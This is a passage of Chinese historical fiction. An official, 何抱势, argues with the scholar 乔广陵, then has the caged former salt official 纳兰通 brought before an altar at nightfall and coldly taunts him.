“乔广陵!”何抱势想再骂,忽然看乔广陵一介文士,最爱做这些口舌之争。想到这里他发出犯不着似的轻笑,“不错,既然太补寺日子算的这样准,那么我就按照规矩来。” “这天也黑了,是时候了。”何抱势看了看天,冲边上属下打了个手势,不出一会,一辆囚车咕噜噜推到众人面前,乃是纳兰通。 纳兰通并不知道外面具体发生了什么,他抬头透过囚车的铁栅看向祭台,惊疑道:“何抱势?” 何抱势自上而下冷眼瞧着狼狈的纳兰通,“堂堂皇亲,曾经的盐提司纳兰通,落得这幅模样,啧啧啧,我要是你,我就自己了解,一了百了。”